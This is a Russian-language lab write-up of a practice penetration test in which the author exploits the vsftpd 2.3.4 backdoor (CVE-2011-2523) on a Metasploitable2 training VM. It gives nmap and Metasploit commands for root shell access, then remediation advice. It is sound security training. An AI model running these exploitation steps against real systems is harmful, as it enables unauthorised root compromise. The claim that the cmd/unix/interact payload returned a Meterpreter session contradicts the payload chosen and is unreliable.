Metasploitable2 — эксплуатация бэкдора vsftpd 2.3.4

Практическая лабораторная работа, демонстрирующая обнаружение и эксплуатацию известной уязвимости-бэкдора в vsftpd 2.3.4, с использованием изолированной среды Kali Linux ↔ Metasploitable2.

Цель

Отработка базового цикла тестирования на проникновение — разведка, выявление уязвимостей, эксплуатация и пост-эксплуатационная проверка — на намеренно уязвимой целевой машине.

Лабораторная среда

Обе ВМ находились в одном частном сетевом сегменте, изолированном от реальной сети, чтобы гарантировать отсутствие внешнего воздействия в ходе упражнения.

Методология

1. Разведка — сканирование Nmap

nmap -sV -sC 192.168.233.129

Выполнено сканирование цели на предмет открытых портов и версий служб. Результаты включали:

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
...

2. Выявление уязвимости

На порту 21 работал vsftpd 2.3.4. Общеизвестно, что эта конкретная версия содержит бэкдор: в 2011 году официальный архив исходных кодов vsftpd был скомпрометирован, и в него был внедрён вредоносный код. Вход с именем пользователя, содержащим строку :), запускает скрытый слушатель на TCP-порту 6200, предоставляющий неаутентифицированную удалённую оболочку (shell).

• Ссылка: CVE-2011-2523
• Воздействие: неаутентифицированное удалённое выполнение кода с правами root

3. Эксплуатация — Metasploit

msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.233.129
set payload cmd/unix/interact
run

Эксплойт успешно активировал бэкдор и вернул сессию Meterpreter.

4. Пост-эксплуатационная проверка

sessions -i 1
sysinfo
getuid

Подтверждена активная сессия и уровень доступа на скомпрометированном хосте.

Результат

Получен полный удалённый доступ к оболочке с правами root на целевой машине без необходимости аутентификации — путём эксплуатации единственной устаревшей службы с бэкдором.

Корневая причина

• Устаревшая версия ПО (vsftpd 2.3.4), скомпрометированная на уровне исходного кода
• Отсутствие процесса выявления или исправления версии службы с известными уязвимостями

Меры по устранению

• Обновите vsftpd до актуальной, проверенной и чистой версии
• Всегда загружайте пакеты ПО из официальных/проверенных репозиториев с проверкой контрольных сумм
• Внедрите регулярное сканирование уязвимостей для выявления устаревших версий служб до развёртывания
• Ограничьте доступ к ненужным публичным службам (FTP), если они не требуются, или разместите их за дополнительными средствами контроля доступа

Ключевой вывод

Одной-единственной устаревшей службы с известной публичной уязвимостью оказалось достаточно для полной компрометации системы — без разработки собственного эксплойта или применения продвинутых техник. Это подчёркивает, почему управление исправлениями и гигиена версий являются основой реальной безопасности.

Отказ от ответственности

Данное упражнение выполнялось исключительно против Metasploitable2 — намеренно уязвимой виртуальной машины, предназначенной для обучения безопасности, — в изолированной лабораторной сети, не имеющей связи с производственными системами или сторонней инфраструктурой.